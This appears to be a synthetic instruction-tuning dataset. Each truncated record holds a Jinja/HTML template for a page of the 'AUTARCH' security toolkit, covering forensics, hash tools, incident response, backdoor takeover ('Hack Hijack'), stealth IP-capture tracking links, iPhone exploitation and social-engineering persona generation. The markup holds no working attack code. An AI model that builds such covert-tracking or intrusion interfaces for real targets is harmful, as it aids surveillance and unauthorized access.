style=\"font-family:monospace;font-size:0.85rem;word-break:break-all\">—</td></tr>\n <tr><td style=\"font-weight:600\">SHA256</td><td id=\"for-hash-sha256\" style=\"font-family:monospace;font-size:0.85rem;word-break:break-all\">—</td></tr>\n </tbody>\n </table>\n </div>\n </div>\n\n <!-- Verify Hash -->\n <div class=\"section\">\n <h2>Verify Hash</h2>\n <div class=\"form-row\">\n <div class=\"form-group\" style=\"flex:2\">\n <label>File Path</label>\n <input type=\"text\" id=\"for-verify-path\" placeholder=\"/path/to/evidence/file.dd\">\n </div>\n <div class=\"form-group\" style=\"flex:2\">\n <label>Expected Hash (MD5, SHA1, or SHA256)</label>\n <input type=\"text\" id=\"for-verify-hash\" placeholder=\"e3b0c44298fc1c149afbf4c8996fb924...\">\n </div>\n </div>\n <div class=\"tool-actions\">\n <button id=\"btn-for-verify\" class=\"btn btn-primary\" onclick=\"forVerifyHash()\">Verify</button>\n </div>\n <div id=\"for-verify-result\" class=\"progress-text\"></div>\n </div>\n\n <!-- Disk Image Creator -->\n <div class=\"section\">\n <h2>Disk Image Creator</h2>\n <div class=\"form-row\">\n <div class=\"form-group\">\n <label>Source (device or file)</label>\n <input type=\"text\" id=\"for-image-source\" placeholder=\"/dev/sda1 or /path/to/source\">\n </div>\n <div class=\"form-group\">\n <label>Output File</label>\n <input type=\"text\" id=\"for-image-output\" placeholder=\"/path/to/output
|
|||
|
|
{"instruction": "Create an AUTARCH web template for the 'Hack Hijack' page. It should extend base.html, have a page header, and use AUTARCH's CSS variables and UI patterns (sections, tab bars, data tables, buttons).", "input": "Template: hack_hijack.html\nSections: 0\nTabs: 3\nForms/API calls: 8\nHas JavaScript: True", "output": "{% extends \"base.html\" %}\n{% block title %}Hack Hijack — AUTARCH{% endblock %}\n{% block content %}\n<div class=\"page-header\">\n <h1>Hack Hijack</h1>\n <p class=\"text-muted\">Scan for existing compromises and take over backdoors</p>\n</div>\n\n<div class=\"tabs\">\n <button class=\"tab active\" onclick=\"switchTab('scan')\">Scan Target</button>\n <button class=\"tab\" onclick=\"switchTab('results')\">Results</button>\n <button class=\"tab\" onclick=\"switchTab('sessions')\">Sessions <span id=\"session-count\" class=\"badge\" style=\"display:none\">0</span></button>\n <button class=\"tab\" onclick=\"switchTab('history')\">History</button>\n</div>\n\n<!-- Scan Tab -->\n<div id=\"tab-scan\" class=\"tab-content active\">\n <div style=\"display:grid;grid-template-columns:360px 1fr;gap:1.5rem;align-items:start\">\n <!-- Config panel -->\n <div class=\"card\">\n <h3>Target Scan</h3>\n <div class=\"form-group\">\n <label>Target IP Address</label>\n <input type=\"text\" id=\"hh-target\" class=\"form-control\" placeholder=\"192.168.1.100\">\n </div>\n <div class=\"form-group\">\n <label>Scan Type</label>\n <select id=\"hh-scan-type\" class=\"form-control\" onchange=\"toggleCustomPorts()\">\n <option value=\"quick\">Quick — Backdoor signature ports only (~30 ports)</option>\n <option value=\"full\">Full — All suspicious ports (~70 ports)</option>\n <option value=\"nmap\">Nmap Deep — Service version + OS detection (requires nmap)</option>\n <option value=\"custom\">Custom — Specify ports</option>\n </select>\n </div>\n <div class=\"form-group\" id=\"custom-ports-group\" style=\"display:none\">\n <label>Custom Ports (comma-separated)</label>\n <input type=\"text\" id=\"hh-custom-ports\" class=\"form-control\" placeholder=\"22,80,443,445,4444,8080\">\n </div>\n <div style=\"display:flex;gap:0.5rem\">\n <button id=\"hh-scan-btn\" class=\"btn btn-primary\" onclick=\"startScan()\" style=\"flex:1\">Scan for Compromises</button>\n <button id=\"hh-cancel-btn\" class=\"btn\" style=\"display:none;background:var(--danger);color:#fff\" onclick=\"cancelScan()\">Cancel</button>\n </div>\n\n <!-- Progress bar -->\n <div id=\"hh-progress-wrap\" style=\"display:none;margin-top:1rem\">\n <div style=\"display:flex;justify-content:space-between;font-size:0.8rem;margin-bottom:4px\">\n <span id=\"hh-prog-label\">Scanning…</span>\n <span id=\"hh-prog-pct\">0%</span>\n </div>\n <div style=\"background:var(--border);border-radius:4px;height:6px;overflow:hidden\">\n <div id=\"hh-prog-bar\" style=\"height:100%;background:var(--accent);transition:width 0.3s;width:0\"></div>\n </div>\n </div>\n </div>\n\n <!-- Live output -->\n <div class=\"card\" style=\"display:flex;flex-direction:column\">\n <div style=\"display:flex;justify-content:space-between;align-items:center;margin-bottom:0.5rem\">\n <h3 style=\"margin:0\">Live Output</h3>\n <button class=\"btn btn-sm\" onclick=\"clearOutput()\">Clear</button>\n </div>\n <pre id=\"hh-output\" style=\"background:#0d0d14;color:#c9d1d9;font-family:monospace;font-size:0.78rem;\n padding:12px;border-radius:var(--radius);height:340px;overflow-y:auto;\n white-space:pre-wrap;word-brea
|
|||
|
|
{"instruction": "Create an AUTARCH web template for the 'Hardware' page. It should extend base.html, have a page header, and use AUTARCH's CSS variables and UI patterns (sections, tab bars, data tables, buttons).", "input": "Template: hardware.html\nSections: 15\nTabs: 2\nForms/API calls: 0\nHas JavaScript: True", "output": "{% extends \"base.html\" %}\n{% block title %}Hardware - AUTARCH{% endblock %}\n\n{% block extra_head %}{% endblock %}\n\n{% block content %}\n<div class=\"page-header\">\n <h1>Hardware Access</h1>\n</div>\n\n<!-- ── Connection Mode Toggle ── -->\n<div class=\"hw-mode-bar\">\n <span class=\"hw-mode-label\">Connection Mode:</span>\n <div class=\"hw-mode-toggle\">\n <button id=\"hw-mode-server\" class=\"hw-mode-btn active\" onclick=\"hwSetMode('server')\">\n Server\n <span class=\"hw-mode-desc\">Device on AUTARCH host</span>\n </button>\n <button id=\"hw-mode-direct\" class=\"hw-mode-btn\" onclick=\"hwSetMode('direct')\">\n Direct (WebUSB)\n <span class=\"hw-mode-desc\">Device on this PC</span>\n </button>\n </div>\n <div id=\"hw-mode-warning\" class=\"hw-mode-warning\" style=\"display:none\"></div>\n</div>\n\n<!-- Status Cards (server mode) -->\n<div id=\"hw-status-server\" class=\"stats-grid\" style=\"grid-template-columns:repeat(auto-fit,minmax(140px,1fr))\">\n <div class=\"stat-card\">\n <div class=\"stat-label\">ADB</div>\n <div class=\"stat-value small\">\n <span class=\"status-dot {{ 'active' if status.adb else 'inactive' }}\"></span>\n {{ 'Available' if status.adb else 'Not found' }}\n </div>\n </div>\n <div class=\"stat-card\">\n <div class=\"stat-label\">Fastboot</div>\n <div class=\"stat-value small\">\n <span class=\"status-dot {{ 'active' if status.fastboot else 'inactive' }}\"></span>\n {{ 'Available' if status.fastboot else 'Not found' }}\n </div>\n </div>\n <div class=\"stat-card\">\n <div class=\"stat-label\">Serial</div>\n <div class=\"stat-value small\">\n <span class=\"status-dot {{ 'active' if status.serial else 'warning' }}\"></span>\n {{ 'Available' if status.serial else 'Not installed' }}\n </div>\n </div>\n <div class=\"stat-card\">\n <div class=\"stat-label\">ESPTool</div>\n <div class=\"stat-value small\">\n <span class=\"status-dot {{ 'active' if status.esptool else 'warning' }}\"></span>\n {{ 'Available' if status.esptool else 'Not installed' }}\n </div>\n </div>\n</div>\n\n<!-- Status Cards (direct mode) -->\n<div id=\"hw-status-direct\" class=\"stats-grid\" style=\"grid-template-columns:repeat(auto-fit,minmax(140px,1fr)); display:none\">\n <div class=\"stat-card\">\n <div class=\"stat-label\">WebUSB</div>\n <div class=\"stat-value small\">\n <span id=\"hw-cap-webusb\" class=\"status-dot inactive\"></span>\n <span id=\"hw-cap-webusb-text\">Checking...</span>\n </div>\n </div>\n <div class=\"stat-card\">\n <div class=\"stat-label\">Web Serial</div>\n <div class=\"stat-value small\">\n <span id=\"hw-cap-webserial\" class=\"status-dot inactive\"></span>\n <span id=\"hw-cap-webserial-text\">Checking...</span>\n </div>\n </div>\n <div class=\"stat-card\">\n <div class=\"stat-label\">ADB Device</div>\n <div class=\"stat-value small\">\n <span id=\"hw-direct-adb-status\" class=\"status-dot inactive\"></span>\n <span id=\"hw-direct-adb-text\">Not connected</span>\n </div>\n </div>\n <div class=\"stat-card\">\n <div class=\"stat-label\">Fastboot Device</div>\n <div class=\"stat-value small\">\n <span id=\"hw-direct-fb-status\" class=\"status-dot inactive\"></span>\n <span id=\"hw-direct-fb-text\">Not connected</span>\n </div>\n </div>\n</div>\n\n<!-- Main Tabs -->\n<div class=\"tab-bar\">\n <button c
|
|||
|
|
{"instruction": "Create an AUTARCH web template for the 'Hash Detection' page. It should extend base.html, have a page header, and use AUTARCH's CSS variables and UI patterns (sections, tab bars, data tables, buttons).", "input": "Template: hash_detection.html\nSections: 6\nTabs: 5\nForms/API calls: 0\nHas JavaScript: True", "output": "{% extends \"base.html\" %}\n{% block title %}Hash Toolkit - AUTARCH{% endblock %}\n\n{% block content %}\n<div class=\"page-header\" style=\"display:flex;align-items:center;gap:1rem;flex-wrap:wrap\">\n <div>\n <h1>Hash Toolkit</h1>\n <p style=\"margin:0;font-size:0.85rem;color:var(--text-secondary)\">\n Identify unknown hashes, compute file/text digests, and look up threat intelligence.\n </p>\n </div>\n <a href=\"{{ url_for('analyze.index') }}\" class=\"btn btn-sm\" style=\"margin-left:auto\">← Analyze</a>\n</div>\n\n<!-- Tab Bar -->\n<div class=\"tab-bar\">\n <button class=\"tab active\" data-tab-group=\"hashtool\" data-tab=\"identify\" onclick=\"showTab('hashtool','identify')\">Identify</button>\n <button class=\"tab\" data-tab-group=\"hashtool\" data-tab=\"filehash\" onclick=\"showTab('hashtool','filehash')\">File Hash</button>\n <button class=\"tab\" data-tab-group=\"hashtool\" data-tab=\"texthash\" onclick=\"showTab('hashtool','texthash')\">Text Hash</button>\n <button class=\"tab\" data-tab-group=\"hashtool\" data-tab=\"mutate\" onclick=\"showTab('hashtool','mutate')\">Mutate</button>\n <button class=\"tab\" data-tab-group=\"hashtool\" data-tab=\"generate\" onclick=\"showTab('hashtool','generate')\">Generate</button>\n <button class=\"tab\" data-tab-group=\"hashtool\" data-tab=\"reference\" onclick=\"showTab('hashtool','reference')\">Reference</button>\n</div>\n\n<!-- ══ Identify Tab ══ -->\n<div class=\"tab-content active\" data-tab-group=\"hashtool\" data-tab=\"identify\">\n<div class=\"section\">\n <h2>Hash Algorithm Detection</h2>\n <p style=\"font-size:0.8rem;color:var(--text-muted);margin-bottom:8px\">\n Paste an unknown hash to identify possible algorithms (supports 40+ hash types).\n </p>\n <div class=\"input-row\">\n <input type=\"text\" id=\"ht-identify-input\" placeholder=\"Paste hash string here...\" style=\"font-family:monospace\">\n <button id=\"btn-ht-identify\" class=\"btn btn-primary\" onclick=\"htIdentify()\">Identify</button>\n </div>\n <pre class=\"output-panel scrollable\" id=\"ht-identify-output\"></pre>\n <div id=\"ht-threat-links\" style=\"margin-top:8px;display:none\">\n <h3 style=\"font-size:0.85rem;color:var(--text-secondary);margin-bottom:6px\">Threat Intelligence Lookups</h3>\n <div id=\"ht-links-container\" style=\"display:flex;flex-wrap:wrap;gap:6px\"></div>\n </div>\n</div>\n</div>\n\n<!-- ══ File Hash Tab ══ -->\n<div class=\"tab-content\" data-tab-group=\"hashtool\" data-tab=\"filehash\">\n<div class=\"section\">\n <h2>File Hashing</h2>\n <p style=\"font-size:0.8rem;color:var(--text-muted);margin-bottom:8px\">\n Compute CRC32, MD5, SHA1, SHA256, and SHA512 digests for any file.\n </p>\n <div class=\"input-row\">\n <input type=\"text\" id=\"ht-file-path\" placeholder=\"File path (e.g., /usr/bin/ls)\">\n <button id=\"btn-ht-file\" class=\"btn btn-primary\" onclick=\"htHashFile()\">Hash File</button>\n </div>\n <pre class=\"output-panel scrollable\" id=\"ht-file-output\"></pre>\n</div>\n</div>\n\n<!-- ══ Text Hash Tab ══ -->\n<div class=\"tab-content\" data-tab-group=\"hashtool\" data-tab=\"texthash\">\n<div class=\"section\">\n <h2>Text / String Hashing</h2>\n <div class=\"form-group\" style=\"margin-bottom:0.75rem\">\n <textarea id=\"ht-text-input\" rows=\"4\" placeholder=\"Enter text to hash...\" style=\"width:100%;font-family:monospace\"></textarea>\n </div>\n <div class=\"input-row\">\n <select id=\"ht-text-algo\">\n <option value=\"md5\">MD5</option>\n <option value=\"sha1\">SHA-1</option>\n <option valu
|
|||
|
|
{"instruction": "Create an AUTARCH web template for the 'Incident Resp' page. It should extend base.html, have a page header, and use AUTARCH's CSS variables and UI patterns (sections, tab bars, data tables, buttons).", "input": "Template: incident_resp.html\nSections: 6\nTabs: 3\nForms/API calls: 0\nHas JavaScript: True", "output": "{% extends \"base.html\" %}\n{% block title %}Incident Response - AUTARCH{% endblock %}\n\n{% block content %}\n<div class=\"page-header\" style=\"display:flex;align-items:center;gap:1rem;flex-wrap:wrap\">\n <div>\n <h1>Incident Response</h1>\n <p style=\"margin:0;font-size:0.85rem;color:var(--text-secondary)\">\n IR playbooks, evidence collection, IOC sweeping, and post-incident reporting.\n </p>\n </div>\n <a href=\"{{ url_for('defense.index') }}\" class=\"btn btn-sm\" style=\"margin-left:auto\">← Defense</a>\n</div>\n\n<!-- Tab Bar -->\n<div class=\"tab-bar\">\n <button class=\"tab active\" data-tab-group=\"ir\" data-tab=\"playbooks\" onclick=\"showTab('ir','playbooks')\">Playbooks</button>\n <button class=\"tab\" data-tab-group=\"ir\" data-tab=\"evidence\" onclick=\"showTab('ir','evidence')\">Evidence</button>\n <button class=\"tab\" data-tab-group=\"ir\" data-tab=\"sweep\" onclick=\"showTab('ir','sweep')\">Sweep</button>\n <button class=\"tab\" data-tab-group=\"ir\" data-tab=\"timeline\" onclick=\"showTab('ir','timeline')\">Timeline</button>\n</div>\n\n<!-- ==================== PLAYBOOKS TAB ==================== -->\n<div class=\"tab-content active\" data-tab-group=\"ir\" data-tab=\"playbooks\">\n\n<!-- Create Incident -->\n<div class=\"section\">\n <h2>Create Incident</h2>\n <div style=\"display:flex;gap:12px;flex-wrap:wrap;align-items:flex-end\">\n <div style=\"flex:1;min-width:180px\">\n <label class=\"form-label\">Name</label>\n <input id=\"ir-name\" class=\"form-input\" placeholder=\"Incident name\">\n </div>\n <div style=\"min-width:160px\">\n <label class=\"form-label\">Type</label>\n <select id=\"ir-type\" class=\"form-input\">\n <option value=\"ransomware\">Ransomware</option>\n <option value=\"data_breach\">Data Breach</option>\n <option value=\"insider_threat\">Insider Threat</option>\n <option value=\"ddos\">DDoS</option>\n <option value=\"account_compromise\">Account Compromise</option>\n <option value=\"malware\">Malware</option>\n <option value=\"phishing\">Phishing</option>\n <option value=\"unauthorized_access\">Unauthorized Access</option>\n </select>\n </div>\n <div style=\"min-width:120px\">\n <label class=\"form-label\">Severity</label>\n <select id=\"ir-severity\" class=\"form-input\">\n <option value=\"critical\">Critical</option>\n <option value=\"high\">High</option>\n <option value=\"medium\" selected>Medium</option>\n <option value=\"low\">Low</option>\n </select>\n </div>\n <div style=\"flex:2;min-width:200px\">\n <label class=\"form-label\">Description</label>\n <input id=\"ir-desc\" class=\"form-input\" placeholder=\"Brief description\">\n </div>\n <button id=\"btn-create-ir\" class=\"btn btn-primary\" onclick=\"irCreate()\">Create</button>\n </div>\n</div>\n\n<!-- Active Incidents -->\n<div class=\"section\">\n <h2>Incidents</h2>\n <div class=\"tool-actions\" style=\"margin-bottom:12px\">\n <select id=\"ir-filter-status\" class=\"form-input\" style=\"width:auto;display:inline-block\" onchange=\"irLoadList()\">\n <option value=\"\">All Statuses</option>\n <option value=\"open\">Open</option>\n <option value=\"investigating\">Investigating</option>\n <option value=\"contained\">Contained</option>\n <option value=\"resolved\">Resolved</option>\n <option value=\"closed\
|
|||
|
|
{"instruction": "Create an AUTARCH web template for the 'Ipcapture' page. It should extend base.html, have a page header, and use AUTARCH's CSS variables and UI patterns (sections, tab bars, data tables, buttons).", "input": "Template: ipcapture.html\nSections: 0\nTabs: 0\nForms/API calls: 5\nHas JavaScript: True", "output": "{% extends \"base.html\" %}\n{% block title %}IP Capture — AUTARCH{% endblock %}\n{% block content %}\n<h1>IP Capture & Redirect</h1>\n<p style=\"color:var(--text-secondary);margin-bottom:1.5rem\">\n Create stealthy tracking links that capture visitor IP + metadata, then redirect to a legitimate site.\n</p>\n\n<!-- Tabs -->\n<div class=\"tabs\" style=\"display:flex;gap:0;border-bottom:2px solid var(--border);margin-bottom:1.5rem\">\n <button class=\"tab-btn active\" onclick=\"capTab('create',this)\">Create & Manage</button>\n <button class=\"tab-btn\" onclick=\"capTab('captures',this)\">Captures</button>\n</div>\n\n<!-- ═══════════════════ CREATE TAB ═══════════════════ -->\n<div id=\"tab-create\" class=\"tab-pane\">\n <div style=\"display:grid;grid-template-columns:1fr 1fr;gap:1.25rem\">\n <!-- Create link -->\n <div class=\"card\" style=\"padding:1.25rem\">\n <h3 style=\"margin-bottom:1rem\">Create Capture Link</h3>\n <label class=\"form-label\">Target URL (redirect destination)</label>\n <input id=\"cap-target\" class=\"form-input\" placeholder=\"https://example.com/real-article\">\n\n <label class=\"form-label\" style=\"margin-top:0.5rem\">Friendly Name</label>\n <input id=\"cap-name\" class=\"form-input\" placeholder=\"Phishing awareness test #1\">\n\n <label class=\"form-label\" style=\"margin-top:0.5rem\">Disguise Type</label>\n <select id=\"cap-disguise\" class=\"form-input\">\n <option value=\"article\">Article URL (realistic path)</option>\n <option value=\"short\">Short URL (/c/xxxxx)</option>\n </select>\n\n <button class=\"btn btn-primary\" style=\"margin-top:1rem;width:100%\" onclick=\"createCapLink()\">Create Link</button>\n\n <!-- Result -->\n <div id=\"cap-result\" style=\"display:none;margin-top:1rem;background:var(--bg-input);border:1px solid var(--border);border-radius:var(--radius);padding:1rem\">\n <div style=\"font-size:0.82rem;color:var(--text-secondary);margin-bottom:0.5rem\">Your tracking links:</div>\n <div style=\"margin-bottom:0.4rem\">\n <label style=\"font-size:0.72rem;color:var(--text-muted)\">SHORT URL</label>\n <div style=\"display:flex;gap:0.4rem;align-items:center\">\n <input id=\"cap-res-short\" class=\"form-input\" readonly style=\"font-family:monospace;font-size:0.82rem\">\n <button class=\"btn btn-small\" onclick=\"copyUrl('cap-res-short')\">Copy</button>\n </div>\n </div>\n <div>\n <label style=\"font-size:0.72rem;color:var(--text-muted)\">ARTICLE URL</label>\n <div style=\"display:flex;gap:0.4rem;align-items:center\">\n <input id=\"cap-res-article\" class=\"form-input\" readonly style=\"font-family:monospace;font-size:0.82rem\">\n <button class=\"btn btn-small\" onclick=\"copyUrl('cap-res-article')\">Copy</button>\n </div>\n </div>\n </div>\n </div>\n\n <!-- Active links -->\n <div class=\"card\" style=\"padding:1.25rem\">\n <div style=\"display:flex;justify-content:space-between;align-items:center;margin-bottom:1rem\">\n <h3>Active Links</h3>\n <button class=\"btn btn-small\" onclick=\"loadCapLinks()\">Refresh</button>\n </div>\n <div id=\"cap-links\" style=\"font-size:0.85rem\">Loading...</div>\n </div>\n </div>\n</div
|
|||
|
|
{"instruction": "Create an AUTARCH web template for the 'Iphone Exploit' page. It should extend base.html, have a page header, and use AUTARCH's CSS variables and UI patterns (sections, tab bars, data tables, buttons).", "input": "Template: iphone_exploit.html\nSections: 0\nTabs: 0\nForms/API calls: 3\nHas JavaScript: True", "output": "{% extends \"base.html\" %}\n{% block title %}iPhone Exploit - AUTARCH{% endblock %}\n\n{% block content %}\n<div class=\"page-header\">\n <h1>iPhone USB Exploitation</h1>\n</div>\n\n<!-- Status Cards -->\n<div class=\"stats-grid\" style=\"grid-template-columns:repeat(auto-fit,minmax(140px,1fr))\">\n <div class=\"stat-card\">\n <div class=\"stat-label\">Tools Found</div>\n <div class=\"stat-value small\">{{ status.found }} / {{ status.total }}</div>\n </div>\n <div class=\"stat-card\" id=\"card-devices\">\n <div class=\"stat-label\">Devices</div>\n <div class=\"stat-value small\" id=\"device-count\">--</div>\n </div>\n <div class=\"stat-card\" id=\"card-paired\">\n <div class=\"stat-label\">Paired</div>\n <div class=\"stat-value small\" id=\"pair-status\">--</div>\n </div>\n</div>\n\n<!-- Missing Tools Warning -->\n{% if status.missing %}\n<div class=\"card\" style=\"padding:0.8rem 1rem;margin:1rem 0;background:#442;color:#ffa;border-radius:4px;font-size:0.9rem\">\n Missing tools: {{ status.missing | join(', ') }}. Install libimobiledevice and ifuse for full functionality.\n</div>\n{% endif %}\n\n<!-- Device Selector -->\n<div class=\"card\" style=\"margin:1rem 0;padding:0.8rem 1rem;display:flex;align-items:center;gap:0.8rem;flex-wrap:wrap\">\n <label style=\"font-weight:600\">Device:</label>\n <select id=\"device-select\" style=\"flex:1;min-width:200px;padding:0.4rem;background:var(--bg-secondary);color:var(--text-primary);border:1px solid var(--border-color);border-radius:4px\">\n <option value=\"\">-- Select --</option>\n </select>\n <button class=\"btn btn-sm\" onclick=\"refreshDevices()\">Refresh</button>\n</div>\n\n<!-- Tabs -->\n<div class=\"tabs\" style=\"display:flex;gap:0;border-bottom:2px solid var(--border-color);margin-bottom:1rem\">\n <button class=\"tab-btn active\" data-tab=\"device\" onclick=\"switchTab('device',this)\">Device</button>\n <button class=\"tab-btn\" data-tab=\"capture\" onclick=\"switchTab('capture',this)\">Capture</button>\n <button class=\"tab-btn\" data-tab=\"apps\" onclick=\"switchTab('apps',this)\">Apps</button>\n <button class=\"tab-btn\" data-tab=\"backup\" onclick=\"switchTab('backup',this)\">Backup</button>\n <button class=\"tab-btn\" data-tab=\"fs\" onclick=\"switchTab('fs',this)\">Filesystem</button>\n <button class=\"tab-btn\" data-tab=\"profiles\" onclick=\"switchTab('profiles',this)\">Profiles</button>\n</div>\n\n<!-- ── Device Tab ── -->\n<div class=\"tab-panel active\" id=\"tab-device\">\n <div class=\"card\" style=\"padding:1rem;margin-bottom:1rem\">\n <h3>Device Management</h3>\n <div style=\"display:flex;gap:0.5rem;flex-wrap:wrap;margin:0.8rem 0\">\n <button class=\"btn\" onclick=\"iphDeviceInfo()\">Device Info</button>\n <button class=\"btn\" onclick=\"iphFingerprint()\">Full Fingerprint</button>\n <button class=\"btn btn-primary\" onclick=\"iphReconExport()\">Export Recon Report</button>\n </div>\n <div style=\"display:flex;gap:0.5rem;flex-wrap:wrap;margin:0.8rem 0\">\n <button class=\"btn\" onclick=\"iphPair()\">Pair</button>\n <button class=\"btn\" onclick=\"iphValidate()\">Validate Pair</button>\n <button class=\"btn btn-warning\" onclick=\"iphUnpair()\">Unpair</button>\n </div>\n <div style=\"display:flex;gap:0.5rem;flex-wrap:wrap;align-items:end;margin:0.8rem 0\">\n <button class=\"btn\" onclick=\"iphGetName()\">Get Name</button>\n <div>\n <label style=\"font-size:0.85rem\">New name:</label>\n <input type=\"text\" id=\"iph-name\" placeholder=\"My iPhone\" style=\"
|
|||
|
|
{"instruction": "Create an AUTARCH web template for the 'Legendary Creator' page. It should extend base.html, have a page header, and use AUTARCH's CSS variables and UI patterns (sections, tab bars, data tables, buttons).", "input": "Template: legendary_creator.html\nSections: 2\nTabs: 0\nForms/API calls: 1\nHas JavaScript: True", "output": "{% extends \"base.html\" %}\n{% block title %}Legendary Creator - AUTARCH{% endblock %}\n\n{% block content %}\n<div class=\"page-header\" style=\"display:flex;align-items:center;gap:1rem;flex-wrap:wrap\">\n <div>\n <h1>Legendary Creator</h1>\n <p style=\"margin:0;font-size:0.85rem;color:var(--text-secondary)\">\n Generate deeply detailed synthetic personas for testing, simulation, and red-team social engineering drills.\n </p>\n </div>\n <a href=\"{{ url_for('simulate.index') }}\" class=\"btn btn-sm\" style=\"margin-left:auto\">← Simulate</a>\n</div>\n\n<!-- Seed Parameters -->\n<div class=\"section\">\n <h2>Legend Seeds <span style=\"font-size:0.78rem;font-weight:400;color:var(--text-secondary)\">(all optional — leave blank for fully random)</span></h2>\n <div style=\"display:grid;grid-template-columns:repeat(auto-fill,minmax(220px,1fr));gap:0.75rem 1rem\">\n\n <div class=\"form-group\">\n <label for=\"seed-gender\">Gender</label>\n <select id=\"seed-gender\">\n <option value=\"\">Random</option>\n <option>Male</option>\n <option>Female</option>\n <option>Non-binary</option>\n </select>\n </div>\n\n <div class=\"form-group\">\n <label for=\"seed-nationality\">Nationality / Country</label>\n <input type=\"text\" id=\"seed-nationality\" placeholder=\"e.g. American, British, Korean\">\n </div>\n\n <div class=\"form-group\">\n <label for=\"seed-ethnicity\">Ethnicity</label>\n <input type=\"text\" id=\"seed-ethnicity\" placeholder=\"e.g. Hispanic, White, Japanese-American\">\n </div>\n\n <div class=\"form-group\">\n <label for=\"seed-age\">Age or Range</label>\n <input type=\"text\" id=\"seed-age\" placeholder=\"e.g. 28, or 25–35\">\n </div>\n\n <div class=\"form-group\">\n <label for=\"seed-profession\">Profession / Industry</label>\n <input type=\"text\" id=\"seed-profession\" placeholder=\"e.g. Software engineer, Nurse, Teacher\">\n </div>\n\n <div class=\"form-group\">\n <label for=\"seed-city\">City / Region</label>\n <input type=\"text\" id=\"seed-city\" placeholder=\"e.g. Austin TX, Pacific Northwest\">\n </div>\n\n <div class=\"form-group\">\n <label for=\"seed-education\">Education Level</label>\n <select id=\"seed-education\">\n <option value=\"\">Random</option>\n <option>High school diploma</option>\n <option>Some college</option>\n <option>Associate's degree</option>\n <option>Bachelor's degree</option>\n <option>Master's degree</option>\n <option>PhD / Doctorate</option>\n <option>Trade / vocational</option>\n </select>\n </div>\n\n <div class=\"form-group\">\n <label for=\"seed-interests\">Interests / Hobbies</label>\n <input type=\"text\" id=\"seed-interests\" placeholder=\"e.g. hiking, photography, gaming\">\n </div>\n\n </div>\n\n <div class=\"form-group\" style=\"margin-top:0.25rem\">\n <label for=\"seed-notes\">Additional Notes / Constraints</label>\n <input type=\"text\" id=\"seed-notes\"\n placeholder=\"e.g. Has a dog, grew up in a small town, is introverted, recently divorced\">\n </div>\n\n <div style=\"display:flex;gap:0.75rem;align-items:center;margin-top:1rem;flex-wrap:wrap\">\n <button id=\"btn-generate\" class=\"btn btn-primary\" onclick=\"generateLegend()\">\n &#x
|
|||
|
|
{"instruction": "Create an AUTARCH web template for the 'Llm Settings' page. It should extend base.html, have a page header, and use AUTARCH's CSS variables and UI patterns (sections, tab bars, data tables, buttons).", "input": "Template: llm_settings.html\nSections: 6\nTabs: 2\nForms/API calls: 12\nHas JavaScript: True", "output": "{% extends \"base.html\" %}\n{% block title %}LLM Settings - AUTARCH{% endblock %}\n\n{% block content %}\n<div class=\"page-header\" style=\"display:flex;align-items:center;gap:1rem;flex-wrap:wrap\">\n <h1>LLM Settings</h1>\n <a href=\"{{ url_for('settings.index') }}\" class=\"btn btn-sm\" style=\"margin-left:auto\">← Back to Settings</a>\n</div>\n\n<!-- Backend Selector + Load Status -->\n<div class=\"section\">\n <h2>Active Backend</h2>\n <div class=\"tab-bar\" id=\"llm-tab-bar\">\n <button class=\"tab {% if llm_backend == 'local' or llm_backend == 'transformers' %}active{% endif %}\"\n onclick=\"llmTab('local')\">Local Model</button>\n <button class=\"tab {% if llm_backend == 'claude' %}active{% endif %}\"\n onclick=\"llmTab('claude')\">Claude</button>\n <button class=\"tab {% if llm_backend == 'openai' %}active{% endif %}\"\n onclick=\"llmTab('openai')\">OpenAI</button>\n <button class=\"tab {% if llm_backend == 'huggingface' %}active{% endif %}\"\n onclick=\"llmTab('huggingface')\">HuggingFace</button>\n </div>\n <p style=\"font-size:0.8rem;color:var(--text-secondary);margin-top:0.5rem\">\n Configured backend: <strong style=\"color:var(--accent)\">{{ llm_backend }}</strong>\n — select a tab, fill in settings, and click <em>Save & Activate</em>, then <em>Load Model</em> to initialise.\n </p>\n\n <!-- Load / Status bar -->\n <div style=\"display:flex;align-items:center;gap:0.75rem;flex-wrap:wrap;margin-top:0.9rem;\n padding:0.65rem 0.9rem;border-radius:var(--radius);border:1px solid var(--border);\n background:var(--bg-card)\">\n <div id=\"llm-status-dot\" style=\"width:10px;height:10px;border-radius:50%;\n background:var(--text-muted);flex-shrink:0\" title=\"Not loaded\"></div>\n <span id=\"llm-status-text\" style=\"font-size:0.83rem;color:var(--text-secondary);flex:1\">\n Not loaded — click <strong>Load Model</strong> to initialise the current backend.\n </span>\n <button id=\"btn-llm-load\" class=\"btn btn-primary btn-sm\" onclick=\"loadLLM()\">\n Load Model\n </button>\n <button class=\"btn btn-sm\" onclick=\"debugOpen()\"\n title=\"Open debug console to see detailed load output\">\n Debug Log\n </button>\n </div>\n <p style=\"font-size:0.75rem;color:var(--text-muted);margin-top:0.4rem\">\n Local GGUF models may take 10–60 s to load depending on size.\n The page will wait — check the Debug Log for live output.\n </p>\n</div>\n\n<!-- ══════════════════════════════════════════════════════════════════ -->\n<!-- LOCAL MODEL TAB -->\n<!-- ══════════════════════════════════════════════════════════════════ -->\n<div id=\"tab-local\" class=\"llm-tab-panel {% if llm_backend != 'local' and llm_backend != 'transformers' %}hidden{% endif %}\">\n\n <!-- Model Folder + File Picker -->\n <div class=\"section\">\n <h2>Model Selection</h2>\n <div class=\"form-group\">\n <label for=\"model-dir\">Models Folder</label>\n <div style=\"display:flex;gap:0.5rem\">\n <input type=\"text\" id=\"model-dir\" value=\"{{ default_models_dir }}\" style=\"flex:1\" placeholder=\"/path/to/models\">\n <button class=\"btn btn-sm btn-primar
|
|||
|
|
